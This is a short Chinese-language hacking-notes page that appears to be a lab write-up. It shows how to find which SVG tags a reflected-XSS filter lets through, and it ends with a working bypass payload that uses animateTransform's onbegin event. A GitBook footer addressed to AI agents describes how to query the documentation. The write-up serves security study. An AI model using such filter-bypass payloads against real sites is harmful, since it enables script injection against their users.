> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xss/reflected-xss-with-svg-tags-allowed.md).

# 允许的 SVG 标签中的反射型 XSS

### 允许部分 SVG 标记的反射型 XSS

XSS 漏洞。想得简单些。应用会阻止常见的 HTML 标签，但允许某些 SVG 标签以及某些属性/事件通过。目标：触发 `alert()` 通过一个 SVG 标签。

<figure><img src="/files/b6e38a74f2eade16ad49b51f2fb23f7888dbf2da" alt=""><figcaption></figcaption></figure>

* 常规 HTML 标签被阻止。
* 对允许的标签进行了粗略的枚举/探测。

<figure><img src="/files/7f3430143acec1d049e5f22c6fdcf5f3ec4f7121" alt=""><figcaption></figcaption></figure>

* 服务器响应 / 显示找到的标签的测试： `animateTransform`, `image`, `svg`, `title`.

```javascript
<svg><animateTransform a=1>
<svg><animateTransform%20§a§=1>
```

* 连续插入测试：
* `<svg><animateTransform a=1>` — 基本插入。
* 尝试编码 / 空格变体： `<svg><animateTransform%20a=1>` — 用于绕过过滤。
* 可用的 `onbegin` 事件可在 `animateTransform`.

<figure><img src="/files/937c0bdbe17f3d61c39f0852cfb92f1c4271aaff" alt=""><figcaption></figcaption></figure>

```javascript
<svg><animateTransform onbegin=alert(0)></animateTransform></svg>
```

<figure><img src="/files/8ff2b198477ee6981dd7f5f0e7ff7b559a034d3c" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/xss/reflected-xss-with-svg-tags-allowed.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
